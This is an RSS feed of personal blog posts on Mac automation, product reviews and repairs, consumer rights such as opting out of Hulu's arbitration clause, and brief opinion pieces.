<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Honeypot.net</title>
    <link>https://honeypot.net/</link>
    <description>Recent content on Honeypot.net</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Fri, 09 Feb 2024 15:45:52 -0800</lastBuildDate><atom:link href="https://honeypot.net/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Reliable Shortcuts with Stream Deck and Keyboard Maestro</title>
      <link>https://honeypot.net/post/reliable-shortcuts-with-stream-deck-and-keyboard-maestro/</link>
      <pubDate>Fri, 09 Feb 2024 15:45:52 -0800</pubDate>
      
      <guid>https://honeypot.net/post/reliable-shortcuts-with-stream-deck-and-keyboard-maestro/</guid>
      
        <description>&lt;p&gt;I talked myself into buying a &lt;a href=&#34;https://www.elgato.com/us/en/p/stream-deck-mk2-black&#34;&gt;Stream Deck&lt;/a&gt; to control my Mac. I didn&#39;t want one for the media features. I wanted a cool, programmable external keyboard-like thing to trigger actions. For example, I have buttons to turn my office lights on and off, toggle between playing sounds through my external speakers and headphones, and open my notes app to the Today&#39;s Journal page. I like it.&lt;/p&gt;
&lt;p&gt;Most docs I found suggest using the &lt;a href=&#34;https://apps.elgato.com/plugins/com.sentinelite.streamdeckshortcuts&#34;&gt;Shortcuts plugin&lt;/a&gt; to execute Apple Shortcuts. I recommend that you use &lt;a href=&#34;https://www.keyboardmaestro.com/main/&#34;&gt;Keyboard Maestro&lt;/a&gt; instead. The &amp;quot;Shortcuts&amp;quot; plugin is neat in principle. It&#39;s free. It looks like exactly the right tool for the job. For me, it&#39;s not. Using the most current macOS (version 14.3.1), Stream Deck app (v6.5.0), and plugin (v1.0.7.1), keypresses work about half the time. After using the setup for a few days straight, it always hangs and stops responding altogether until I quit and restart the Stream Deck app. It&#39;s frustrating to have this nice device to boost productivity, then have to pause for a beat every time I&#39;ve used it to see if it worked.&lt;/p&gt;
&lt;p&gt;The Keyboard Maestro setup&#39;s experience has been the opposite. Once configured, if I press a button, that button does what it&#39;s supposed to do 100% of the time. It has some drawbacks: it&#39;s slightly more complex to configure, and you have to pay for Keyboard Maestro (which if you&#39;re a Mac power user, you&#39;ll want to do anyway). Still, the result has been worth it.&lt;/p&gt;
&lt;p&gt;Here&#39;s how I used it to build the toggle I mentioned that switches between speakers and headphones.&lt;/p&gt;
&lt;p&gt;First, I created Shortcuts called &amp;quot;SoundSource: Output to Headphones&amp;quot; and &amp;quot;SoundSource: Output to Speakers&amp;quot;, with each Shortcut doing the expected thing.  The names don&#39;t matter: I could have called them &amp;quot;Spam&amp;quot; and &amp;quot;Eggs&amp;quot; for all my Mac would care. I just like being verbose so I can quickly find things again next time I want to tweak them.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;the-shortcuts.png&#34; alt=&#34;The Shortcuts&#34;&gt;&lt;/p&gt;
&lt;p&gt;Next, I made Keyboard Maestro macros that execute those Shortcuts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;km-output-to-headphones-untriggered.png&#34; alt=&#34;&amp;quot;SoundSource: Output to Headphones&amp;quot; (without trigger)&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;km-output-to-speakers-untriggered.png&#34; alt=&#34;&amp;quot;SoundSource: Output to Speakers&amp;quot; (without trigger)&#34;&gt;&lt;/p&gt;
&lt;p&gt;Then I opened the Stream Deck app to create the &amp;quot;Multi Action Switch&amp;quot; button. I put mine on row 1, column 3. That&#39;ll be important in a moment.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;toggle-1.png&#34; alt=&#34;Toggle 1&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;toggle-2.png&#34; alt=&#34;Toggle 2&#34;&gt;&lt;/p&gt;
&lt;p&gt;When you create a Keyboard Maestro action inside a Multi Action Switch, the Stream Deck app doesn&#39;t fill in the &amp;quot;Virtual Row&amp;quot; and &amp;quot;Virtual Column&amp;quot; values like it would if you put the Keyboard Maestro action directly into an empty key. That&#39;s OK. We&#39;re going to change the column value anyway! See how I used Virtual Columns &amp;quot;301&amp;quot; and &amp;quot;302&amp;quot;? That lets the Keyboard Maestro app treat these as separate buttons. The Stream Deck app will do the work of remembering which action we&#39;re currently on.&lt;/p&gt;
&lt;p&gt;With that done, I went back into the Keyboard Maestro editor and added &amp;quot;USB Device Key Triggers&amp;quot; to each macro. When it was waiting for me to press a button, I tapped the physical Stream Deck button I was setting up.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;km-output-to-headphones-triggered.png&#34; alt=&#34;&amp;quot;SoundSource: Output to Headphones&amp;quot; (with trigger)&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;km-output-to-speakers-triggered.png&#34; alt=&#34;&amp;quot;SoundSource: Output to Speakers&amp;quot; (with trigger)&#34;&gt;&lt;/p&gt;
&lt;p&gt;That&#39;s a little bit more complicated than the &amp;quot;Shortcuts plugin&amp;quot; setup, but &lt;em&gt;only&lt;/em&gt; a little bit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I&#39;d have to create the Shortcuts either way.&lt;/li&gt;
&lt;li&gt;I&#39;d have to create the Multi Action Switch either way.&lt;/li&gt;
&lt;li&gt;Instead of using the &amp;quot;Shortcuts&amp;quot; plugin to run Shortcuts directly, I send a trigger to Keyboard Maestro and have &lt;em&gt;it&lt;/em&gt; run the Shortcuts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In exchange for this smidgen of extra one-time work, now my Stream Deck buttons work perfectly and instantly every time I press them. I don&#39;t hesitate to see if the effect I wanted to happen had indeed happened because I can trust that it did. That made an enormous difference in how productively I can use the little Stream Deck.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Opt out of Hulu&#39;s new binding arbitration clause</title>
      <link>https://honeypot.net/post/opt-out-of-hulus-new-binding-arbitration-clause/</link>
      <pubDate>Thu, 01 Feb 2024 12:44:17 -0800</pubDate>
      
      <guid>https://honeypot.net/post/opt-out-of-hulus-new-binding-arbitration-clause/</guid>
      
        <description>&lt;p&gt;Hulu&#39;s &lt;a href=&#34;https://www.hulu.com/subscriber_agreement&#34;&gt;new subscriber agreement&lt;/a&gt; claims to require users to resolve significant disputes through arbitration. It specifically prevents us from participating in class action lawsuits:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ANY DISPUTE BETWEEN YOU AND US, EXCEPT FOR SMALL CLAIMS, IS SUBJECT TO A CLASS ACTION WAIVER AND MUST BE RESOLVED BY INDIVIDUAL BINDING ARBITRATION.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a terrible deal for users.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; Hulu gets the right to hire someone to settle disputes. We lose the right to protect ourselves as a group if Hulu does something horrible that hurts us.&lt;/p&gt;
&lt;p&gt;They provide a method for rejecting these clauses in &lt;a href=&#34;https://www.hulu.com/subscriber_agreement#section7&#34;&gt;section 7&lt;/a&gt;, subsection 7 &amp;quot;Opt-out.&amp;quot; If you wish to retain your legal rights, you have to send them a physical letter stating that you wish to opt out of both the arbitration agreement and the class action waiver. This is the letter I&#39;m sending them:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Me &lt;br&gt;
123 Main St. &lt;br&gt;
Tampa, FL &lt;br&gt;
&lt;a href=&#34;mailto:me@example.com&#34;&gt;me@example.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;February 1, 2024&lt;/p&gt;
&lt;p&gt;Disney Opt-Out &lt;br&gt;
P.O. Box 11565 &lt;br&gt;
Burbank, CA, 91510&lt;/p&gt;
&lt;p&gt;Dear Opt-Out Team:&lt;/p&gt;
&lt;p&gt;I am opting out of the Hulu Subscriber Agreement&#39;s arbitration agreement and class action waiver.&lt;/p&gt;
&lt;p&gt;Sincerely, &lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
Me&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I highly recommend you send your version of this &lt;del&gt;typo: email&lt;/del&gt; physical mail to Hulu. Otherwise, you&#39;ll lose important legal rights to protect yourself legally if Hulu acts in a way that harms you.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;I&#39;m not a lawyer. Ask your own lawyer if they agree. I believe they will.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
      
    </item>
    
    <item>
      <title>Making Notes look like a Markdown editor, if you squint</title>
      <link>https://honeypot.net/post/making-notes-look-like-markdown-editor-if-you-squint/</link>
      <pubDate>Wed, 17 Jan 2024 15:52:55 -0800</pubDate>
      
      <guid>https://honeypot.net/post/making-notes-look-like-markdown-editor-if-you-squint/</guid>
      
        <description>&lt;p&gt;I use Apple&#39;s Notes app to, well, take notes. It&#39;s the only non-Markdown I regularly use for such things. While I can, should, and mostly do try to use its built-in keyboard shortcuts to format text, sometimes I find myself looking at the screen wondering why &lt;code&gt;```&lt;/code&gt; didn&#39;t put it into a pre-formatted text mode. Today I decided to use &lt;a href=&#34;https://www.keyboardmaestro.com/main/&#34;&gt;Keyboard Maestro&lt;/a&gt; to indulge my Markdown muscle memory. The results are &lt;a href=&#34;https://dev.honeypot.net/kirk/keyboard-maestro&#34;&gt;on my Gitea server&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It&#39;s a collection of short little macros that let me type something like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-markdown&#34; data-lang=&#34;markdown&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# My title
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;## A heading
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&lt;/span&gt;def hello():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&amp;#34;Hey, world!&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;And that&amp;#39;s about it.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and have it render like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;sample-note.png&#34; alt=&#34;Resulting note in Notes&#34;&gt;&lt;/p&gt;
&lt;p&gt;Hey! That looks and feels a lot like typing in a Markdown editor!&lt;/p&gt;
&lt;p&gt;I don&#39;t want to rely on this. It&#39;s usually better to lean into an app and use it the way it&#39;s built to be used than try to make it act like another. Still, if this reduces a tiny bit of friction on those days when I&#39;m crossing my signals, I&#39;ll be glad to have it.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Adding CarPlay to our Toyota’s Entune system</title>
      <link>https://honeypot.net/post/adding-carplay-to-our-toyotas-entune-system/</link>
      <pubDate>Fri, 05 Jan 2024 08:47:26 -0800</pubDate>
      
      <guid>https://honeypot.net/post/adding-carplay-to-our-toyotas-entune-system/</guid>
      
        <description>&lt;p&gt;Our 2016 Toyota Sienna is perfect, except for its janky entertainment system. Every time I plugged in my phone, the Entune radio started playing &lt;a href=&#34;https://www.stereogum.com/1957739/that-silent-a-a-a-a-a-very-good-song-track-is-still-climbing-the-itunes-chart/news/&#34;&gt;“A a a a a Very Good Song”&lt;/a&gt;. It doesn’t have maps, at least that you’d want to bother with using. “Hey Siri” replied with an old, robotic-sounding voice. If you were lucky, playing a song would show an old photo of the band. Music from bands newer than the van would display something generic like “Alternative”. While it worked alright, the whole interface felt like it would’ve been nifty and current on my old Palm PDA.&lt;/p&gt;
&lt;p&gt;I envied the CarPlay setups I got to fiddle with in my friends’ cars and in rentals. However, nice replacement entertainment systems that supported CarPlay plus all the same features as the original head unit were way more expensive than I could justify. Then I found a much cheaper &lt;a href=&#34;https://amzn.to/47nDczZ&#34;&gt;CarPlay retrofit unit&lt;/a&gt; (&lt;a href=&#34;https://honeypot.net/affiliate-policy/&#34;&gt;affiliate link&lt;/a&gt;) with decent ratings, and despite my misgivings, I had to try it.&lt;/p&gt;
&lt;p&gt;This little thing is brilliant. The important bits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It works. When I get in the van, after a few seconds my phone connects to the unit and I have a full-featured CarPlay display.&lt;/li&gt;
&lt;li&gt;It was easy to install myself. While I’m comfortable working on cars, I’d never pulled the family transport apart before without having to fix something broken. Thank you, Toyota, for designing our van like a LEGO kit.&lt;/li&gt;
&lt;li&gt;Everything else still works. Tapping the head unit’s power button gets back to the original display. Shifting into reverse still shows the backup camera. It adds features without blocking anything that the original system could do. That was my biggest worry, and it was groundless. I can’t overemphasize this: &lt;em&gt;everything still works&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;The product description and several reviews mention that the Sienna’s display is low-resolution. I had also worried that CarPlay would assume a high-res display and that it would be unreadable on the lousy screen. Nope. It’s fine. Although it’s noticeably blockier than my iPhone’s screen, small text is perfectly readable, street labels and markings are sharp and clear, and it’s not an issue at all. My wife didn’t even realize that it isn’t “Retina” quality.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you’re on the fence, do it. This relatively cheap little unit fixed all the things I loathed about the original Entune system while keeping all the cool features we enjoyed. I wouldn’t hesitate to recommend the upgrade to a friend or family member.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Biden pardons cannabis users</title>
      <link>https://honeypot.net/post/biden-pardons-cannabis-users/</link>
      <pubDate>Fri, 22 Dec 2023 10:43:14 -0800</pubDate>
      
      <guid>https://honeypot.net/post/biden-pardons-cannabis-users/</guid>
      
        <description>&lt;p&gt;US President Joe Biden &lt;a href=&#34;https://www.whitehouse.gov/briefing-room/presidential-actions/2023/12/22/a-proclamation-on-granting-pardon-for-the-offense-of-simple-possession-of-marijuana-attempted-simple-possession-of-marijuana-or-use-of-marijuana/&#34;&gt;pardoned all Federal convictions&lt;/a&gt; for the use and simple possession of cannabis. I don&#39;t use cannabis. If it were to go away tomorrow, my life wouldn&#39;t change one bit.&lt;/p&gt;
&lt;p&gt;I am thrilled with this blanket pardon.&lt;/p&gt;
&lt;p&gt;Modify the statement, like:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I am pardoning additional individuals who may continue to experience the unnecessary collateral consequences of a conviction for simple possession of beer, attempted simple possession of beer, or use of beer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;and it sounds utterly obvious, and ludicrous that it ever would have been an issue in the first place. I enjoy a good stout or porter, and I can walk into almost any grocery store, flash my ID, hand over my money, and walk out with a bottle of drugs that&#39;s caused far more societal harm than cannabis ever did. That I can drink a beer in public and no one bats an eye, while my neighbors could smoke a joint in their own house and go to jail for it, is insanity.&lt;/p&gt;
&lt;p&gt;Good on you, Mr. President, for making life better for a whole lot of Americans.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>One Pill Can Kill</title>
      <link>https://honeypot.net/post/one-pill-can-kill/</link>
      <pubDate>Thu, 21 Dec 2023 10:00:49 -0800</pubDate>
      
      <guid>https://honeypot.net/post/one-pill-can-kill/</guid>
      
        <description>&lt;p&gt;I&#39;ve seen things that looked like ads for apps in the iOS App Store. Today, I saw an ad for something else altogether. It&#39;s a public service announcement warning viewers about potentially lethal fake prescription pills:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;one_pill_can_kill.png&#34; alt=&#34;One Pill Can Kill&#34;&gt;&lt;/p&gt;
&lt;p&gt;That&#39;s a good thing to warn people about. However, it couldn&#39;t be more out of place between the regular listings for games and useful apps. This is the &lt;em&gt;app store&lt;/em&gt;, not a random website. And a PSA is one thing. The first time I see a commercial ad for a non-app thing here, I&#39;ll probably have to buy a new phone to replace the one I&#39;m likely to throw out my window.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>In the beginning was Word</title>
      <link>https://honeypot.net/post/in-beginning-was-word/</link>
      <pubDate>Sat, 25 Nov 2023 08:24:29 -0800</pubDate>
      
      <guid>https://honeypot.net/post/in-beginning-was-word/</guid>
      
        <description>&lt;p&gt;My kid is home from college. I&#39;m watching them do their homework while struggling against the shortcomings of Microsoft Word. It&#39;s the Bourne shell of word processing: powerful, ubiquitous, chock full of time-sucking footguns, and probably the wrong tool for any job that won&#39;t fit on a single screen.&lt;/p&gt;
&lt;p&gt;After working with more civilized tools like a good text editor paired with a Markdown processor, I&#39;d been happy to forget that some people still voluntarily use Word.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Fixing the Casper Glow Light charger</title>
      <link>https://honeypot.net/post/fixing-casper-glow-light-charger/</link>
      <pubDate>Wed, 08 Nov 2023 09:15:07 -0800</pubDate>
      
      <guid>https://honeypot.net/post/fixing-casper-glow-light-charger/</guid>
      
        <description>&lt;p&gt;Our &lt;a href=&#34;https://casper.com/accessories/glow.html&#34;&gt;Casper Glow Lights&lt;/a&gt; are nice. However, their charging bases are poorly made, and as seen in user reviews, they often break in a specific way. Inevitably, one or both of the little spring-loaded charging pins will permanently stick in the lowered position so that they don&#39;t contact the charging elements on the light.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;pin_before.jpg&#34; alt=&#34;The pin on the right is permanently recessed&#34;&gt;&lt;/p&gt;
&lt;p&gt;In this photo, the outer pin on the left sticks up a little above the charger&#39;s base. When the light sits on this charger, that pin touches one of the light&#39;s charging rings. The inner pin on the right is flush with the surface and doesn&#39;t touch its corresponding charging ring.&lt;/p&gt;
&lt;p&gt;That&#39;s easy to fix. Rather than disassemble the base and try to mechanically repair the pin, I added a tiny glob of solder to the top of the pin. Then I used an emery board and trial and error to smooth it to a good height.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;pin_after.jpg&#34; alt=&#34;The pin on the right is a little taller now&#34;&gt;&lt;/p&gt;
&lt;p&gt;Ta-da! Now the Glow Light is charging away on the resuscitated charger.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;happy_light.jpg&#34; alt=&#34;The Glow Light is happily charging again&#34;&gt;&lt;/p&gt;
&lt;p&gt;After cleaning, the charger looks and acts like new, and I bet that cheap little solder glob will outlast the original spring mechanism.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Back to OmniFocus. Again.</title>
      <link>https://honeypot.net/post/back-to-omnifocus-again/</link>
      <pubDate>Fri, 03 Nov 2023 08:52:40 -0700</pubDate>
      
      <guid>https://honeypot.net/post/back-to-omnifocus-again/</guid>
      
        <description>&lt;p&gt;I know I said &lt;a href=&#34;https://honeypot.net/post/use-things-without-encryption/&#34;&gt;I&#39;m using Things&lt;/a&gt; to manage all the things I need to do, but I&#39;ve switched back to the &lt;a href=&#34;https://www.omnigroup.com/omnifocus/&#34;&gt;OmniFocus&lt;/a&gt; 4 beta.&lt;/p&gt;
&lt;p&gt;I like Things. It&#39;s pretty and ergonomic. That matters in something you&#39;ll spend so much time with. For the most part, I like using Things more than I do OmniFocus, which isn&#39;t exactly beautiful to look at. OmniFocus does everything right where it matters, though.&lt;/p&gt;
&lt;p&gt;First, Things lacks end-to-end encryption. That by itself should be a deal-breaker for me. I tried to overlook it because I wanted Things to be my ideal to-do app, but I just can&#39;t. I think the Cultured Code gang are great people. They have a long track record of treating their users well. I have no reason to think that will change. I strongly doubt they&#39;re going through my boring to-do items, but it&#39;s at least technically &lt;em&gt;possible&lt;/em&gt;, and I hate that I have to trust any company&#39;s good intentions. Even if I think they&#39;re good people, my employer may not appreciate me storing sensitive information in an unencrypted vendor database. Even more, my wife&#39;s a doctor, so HIPAA implies she can&#39;t use Things at all for her work unless she keeps all her actions so vague as to be useless. If she put an item in there like &amp;quot;Call Joe Smith back&amp;quot;, she could be sued and/or fined for storing personal healthcare information in an insecure location. In contrast, OmniFocus lets you set an encryption password on your data. Then The Omni Group can&#39;t access your information even if they want to. If you don&#39;t trust Omni&#39;s sync server, you can sync it with your own WebDAV server.&lt;/p&gt;
&lt;p&gt;Second, Things&#39;s search field requires you to type exactly what you&#39;re looking for. If I have an item named &amp;quot;Do foo and bar&amp;quot;, searching Things for &amp;quot;foo bar&amp;quot; won&#39;t find it. OmniFocus will. That&#39;s bitten me more times than I&#39;d like, usually when I can &lt;em&gt;almost&lt;/em&gt; (but not quite) remember how I phrased a task. Sure, I could just type &amp;quot;foo&amp;quot; into Things and then scroll through the results into I see &amp;quot;bar&amp;quot;. I bought a to-do app to offload that mental grunt work.&lt;/p&gt;
&lt;p&gt;Finally, it shouldn&#39;t bother me so much that I can&#39;t check off a repeated task in Things before its start date. It does. It bothers me a lot. I put everything in my to-do app, including tasks like &amp;quot;text my distant friend, Joe, every month&amp;quot;. If he and I talk today, and I&#39;m going through my weekly review tomorrow, it&#39;d be nice to mark that as done even though I&#39;m not &amp;quot;scheduled&amp;quot; to chat with him for another 3 weeks. Things won&#39;t let me unless I&#39;m willing to dig into the task&#39;s repeat settings. OmniFocus doesn&#39;t care. It&#39;s like &amp;quot;Oh, you&#39;re done early? Cool. I&#39;ll remind you in a month!&amp;quot; Things users have been requesting this ability for years.&lt;/p&gt;
&lt;p&gt;I&#39;m back to OmniFocus. It&#39;s not as pretty to look at, but it does everything I ask of it. I wish it had Things&#39;s gorgeous interface, and I miss being able to add sections and notes to projects, but I won&#39;t trade encryption, better search, and smartly repeating tasks for those features.&lt;/p&gt;
&lt;p&gt;I have a note to myself: stop looking for a better task manager than OmniFocus. While it won&#39;t win a beauty pageant, it&#39;s the best app for helping me get things done.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Kitty likes her SureFood microchip pet feeder</title>
      <link>https://honeypot.net/post/kitty-likes-her-surefood-microchip-pet-feeder/</link>
      <pubDate>Mon, 30 Oct 2023 11:25:03 -0700</pubDate>
      
      <guid>https://honeypot.net/post/kitty-likes-her-surefood-microchip-pet-feeder/</guid>
      
        <description>&lt;p&gt;We have 2 cats. One of them&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; requires a prescription food. Predictably, because he&#39;s a cat, he hates his food and wants to eat the other cat&#39;s. Any other time, the second cat wouldn&#39;t let the first anywhere near her food. Because she&#39;s a cat and enjoys tormenting us, now she&#39;s happy to share her forbidden kibble.&lt;/p&gt;
&lt;p&gt;I&#39;d heard about pet feeders that use RFID tags to distinguish between animals and only open for the one (or ones) that you&#39;ve programmed into them. After some research, we took a deep breath and decided to try &lt;a href=&#34;https://amzn.to/479hNKZ&#34;&gt;Sure Petcare&#39;s SureFeed&lt;/a&gt; (&lt;a href=&#34;https://honeypot.net/affiliate-policy/&#34;&gt;affiliate link&lt;/a&gt;). I wish we&#39;d done it sooner.&lt;/p&gt;
&lt;p&gt;The initial setup was a cinch. I pressed the &amp;quot;add pet&amp;quot; button, lured our kitty to the feeder with a treat, and watched a blinking light turn solid green as the feeder detected and learned the RFID microchip her vet had implanted. It came with an RFID tag we could have clipped onto her collar if needed, but we didn&#39;t.&lt;/p&gt;
&lt;p&gt;Next, we used its &amp;quot;training mode&amp;quot; to get her used to the feeder. On the first day, the lid stayed fully open so it acted like a normal food bowl. Over the next few days, the lid closed a little farther and moved a little more to teach the kitty that it wasn&#39;t going to eat her. At the end of that process, the SureFeed behaved exactly as it promised. Now our healthy kitty walks up to her food bowl, its cover opens without spooking her, and she eats her dinner. Our medicated cat bats at it in frustration because he can see the tempting food inside but can&#39;t get at it.&lt;/p&gt;
&lt;p&gt;The SureFeed is expensive, and I only bought it because I had some gift cards saved up. $200 is one expensive cat food bowl. Still, in our case, it&#39;s much cheaper than having our cat eat the wrong food. It&#39;s also one of our household items that lives up to all its claims. It lets the right cat in and keeps the wrong one out. I&#39;m glad we got it.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;I nicknamed him Steve Austin, as in the Six Million Dollar Man. It&#39;s always something with this guy.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
      
    </item>
    
    <item>
      <title>Review job applications quickly</title>
      <link>https://honeypot.net/post/review-job-applications-quickly/</link>
      <pubDate>Fri, 27 Oct 2023 08:55:18 -0700</pubDate>
      
      <guid>https://honeypot.net/post/review-job-applications-quickly/</guid>
      
        <description>&lt;p&gt;I got an automated response to a job application that said:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Over the next several weeks, one of our recruiters will spend some time reviewing what you&#39;ve shared with us.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There’s almost no situation where that would lead to a desirable outcome for either party. Either it weeds out good candidates you&#39;d want to hire:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;quot;I’m unemployed and need work now.&amp;quot; &lt;em&gt;Someone who needs a job now is not going to wait several weeks if something else comes along.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&amp;quot;I’m employed but want out of this job.&amp;quot; &lt;em&gt;If the candidate&#39;s that serious about finding another job, they don&#39;t want to wait around for a &amp;quot;maybe&amp;quot;.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&amp;quot;I’m on a 6-month sabbatical and have plenty of time.&amp;quot; &lt;em&gt;&amp;quot;…but I work for the kind of place that gives 6-month sabbaticals, and they like me, and I&#39;m not leaving for a disorganized company.&amp;quot;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;…or it works well for candidates you might not want to hire:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;quot;I’m bored at work, and rather than seek out new opportunities, I&#39;ll just quiet quit until you get around to interviewing people.&amp;quot;&lt;/li&gt;
&lt;li&gt;&amp;quot;I got rich in Bitcoin. Hire me or not! Who cares!&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you list a job opening, you have an obligation to the candidates and to yourself to review the applications as they come in. Don&#39;t start the hiring process until you can commit to doing it right.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>An Amazon seller tried to bribe me</title>
      <link>https://honeypot.net/post/amazon-seller-tried-to-bribe-me/</link>
      <pubDate>Thu, 28 Sep 2023 11:39:57 -0700</pubDate>
      
      <guid>https://honeypot.net/post/amazon-seller-tried-to-bribe-me/</guid>
      
        <description>&lt;p&gt;I bought &lt;a href=&#34;https://www.amazon.com/gp/product/B0BQ9ZHCQ4/&#34;&gt;a suitcase from Amazon&lt;/a&gt;, partly because of its good reviews.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;luggage.jpg&#34; alt=&#34;The suitcase&#34;&gt;&lt;/p&gt;
&lt;p&gt;The suitcase is alright. It&#39;s not the best I&#39;ve ever seen, but the price was decent and it seems like it should last a while. A couple of weeks later, I got a postcard from the seller offering a bribe. If I sent them proof that I posted a 5-star review, they&#39;d pay me $15.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;postcard-luggage-front.jpg&#34; alt=&#34;Front of the suitcase postcard&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;postcard-luggage-back.jpg&#34; alt=&#34;Back of the suitcase postcard&#34;&gt;&lt;/p&gt;
&lt;p&gt;I followed &lt;a href=&#34;https://www.amazon.com/gp/help/customer/display.html?nodeId=GLHXEX85MENUE4XF#GUID-9CC60549-85B9-4C06-BF30-A2F2B269F44C__SECTION_F10DD42B52F0419EAD13F152FF7F5B63&#34;&gt;Amazon&#39;s instructions&lt;/a&gt; to report the bribe. No response. I left a review of the suitcase stating that the seller had offered to pay me for a good review. That action &lt;em&gt;did&lt;/em&gt; earn a response from Amazon: they deleted it.&lt;/p&gt;
